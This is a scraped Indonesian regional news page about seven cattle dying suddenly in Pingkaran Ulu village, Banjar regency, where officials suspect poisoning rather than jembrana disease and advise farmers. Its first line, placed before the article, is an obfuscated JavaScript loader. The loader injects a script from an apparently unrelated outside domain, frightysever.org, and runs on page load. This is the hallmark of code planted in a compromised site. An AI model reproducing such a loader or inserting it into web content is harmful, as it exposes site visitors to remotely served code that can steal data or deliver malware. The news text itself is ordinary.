(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Paska ditemukannya tujuh ekor sapi yang mati di Desa Pingkaran Ulu, Kecamatan Astambul, Dinas Peternakan dan Perkebunan (Disnakbun) Kabupaten Banjar minta masyarakat tidak perlu takut dan resah mengonsumsi daging sapi.
Menurut Kepala Disnakbun Kabupaten Banjar Ir Dondit Bekti, para peternak tidak usah resah terkait fenomena kematian sapi tersebut, karena potensi dan peluang pasar sangat menjanjikan. Menurutnya hingga sekarang tim kesehatan hewan sudah melakukan pengecekan ke lokasi. Hasilnya enam ekor diduga keracunan karena tidak ada gejala sakit sebelumnya.
Sementara untuk menguatkan diagnosa, pihaknya sudah mengambil sampel darah untuk tes laboratorium, sampel tersebut diambil dari sapi yang masih ada, bukan dari sampel sapi yang mati.
“Awalnya kami mengarah kepada penyakit jembrana, tetapi fakta di lapangan, sapinya bukan sapi Bali melainkan hasil silang Bali dengan Peranakan Ongole (PO),†jelasnya.
Pihaknya di lapangan juga sudah memberikan saran kepada peternak, agar lebih intens dalam pemeliharaan dan pengawasan hewan ternak sapi miliknya. Meski dugaan kematian sapi bukan karena jembrana, tetap dihimbau sementara jangan beli sapi dulu, dan sebaiknya beli sapi non Bali saja seperti hasil silang PO, limousin, simental dan lainnya.
“Agar peternak juga melakukan pemeliharaan secara benar sesuai anjuran teknis, berikan pakan yang cukup dan berkualitas. Apalagi saat ini musim kemarau, syukur-syukur diberikan pakan tambahan seperti singkong, dedak, sisa limbah makan,†bebernya.
Disnakbun juga menghimbau bagi peternak agar secepatnya menghubungi petugas peternakan di lapangan, jika hewan sapi ternak sakit, minta kawin atau mungkin sudah dikawinkan tetapi tidak bunting, pihaknya siap untuk membuntingkan sapi.
Pemilik sapi di Desa Pingaran Ulu Kecamatan Astambul, Poneran mengatakan, sapi-sapinya mendadak mati. Ia heran karena sapi miliknya sehat dan gemuk, namun kematian sapi ada tanda mencurigakan pada organ lambung, jantung dan hati sapi rusak.
“Kemungkinan bisa saja ada yang meracuni. Indikasi mengarah ke racun karena ada pola, cara mati, sisa bangkai yang setipe,†katanya.
Pemilik sapi lainnya, Solihun sejak beberapa hari sapi miliknya tidak keluar kandang setelah mengetahui adanya kematian sapi secara mendadak. Ia terpaksa mencari rumput untuk makanan sapi lebih banyak dari biasanya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.